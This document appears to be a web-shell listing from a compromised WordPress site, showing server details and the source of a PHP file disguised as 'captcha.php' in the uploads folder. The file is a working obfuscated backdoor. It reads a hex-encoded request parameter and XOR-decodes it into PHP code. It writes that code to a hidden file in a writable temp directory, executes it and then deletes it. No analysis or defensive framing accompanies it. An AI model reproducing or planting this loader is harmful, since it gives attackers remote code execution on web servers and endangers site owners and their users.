HEX
Server: Apache/2
System: Linux sv174 5.14.0-570.21.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 11 07:22:35 EDT 2025 x86_64
User: casinobe (1137)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/casinobe/domains/pug555-a.com/public_html/wp-content/uploads/wpcode/f/d/e/captcha.php
<?php

if(isset($_REQUEST) && isset($_REQUEST["fa\x63"])){
	$item = array_filter([getcwd(), "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/var/tmp"]);
	$marker = hex2bin($_REQUEST["fa\x63"]);
	$bind= ''; foreach(str_split($marker) as $char){$bind .= chr(ord($char) ^ 30);}
	while ($sym = array_shift($item)) {
    		if (array_product([is_dir($sym), is_writable($sym)])) {
    $descriptor = "$sym" . "/.comp";
    if (file_put_contents($descriptor, $bind)) {
	include $descriptor;
	@unlink($descriptor);
	die();
}
}
}
}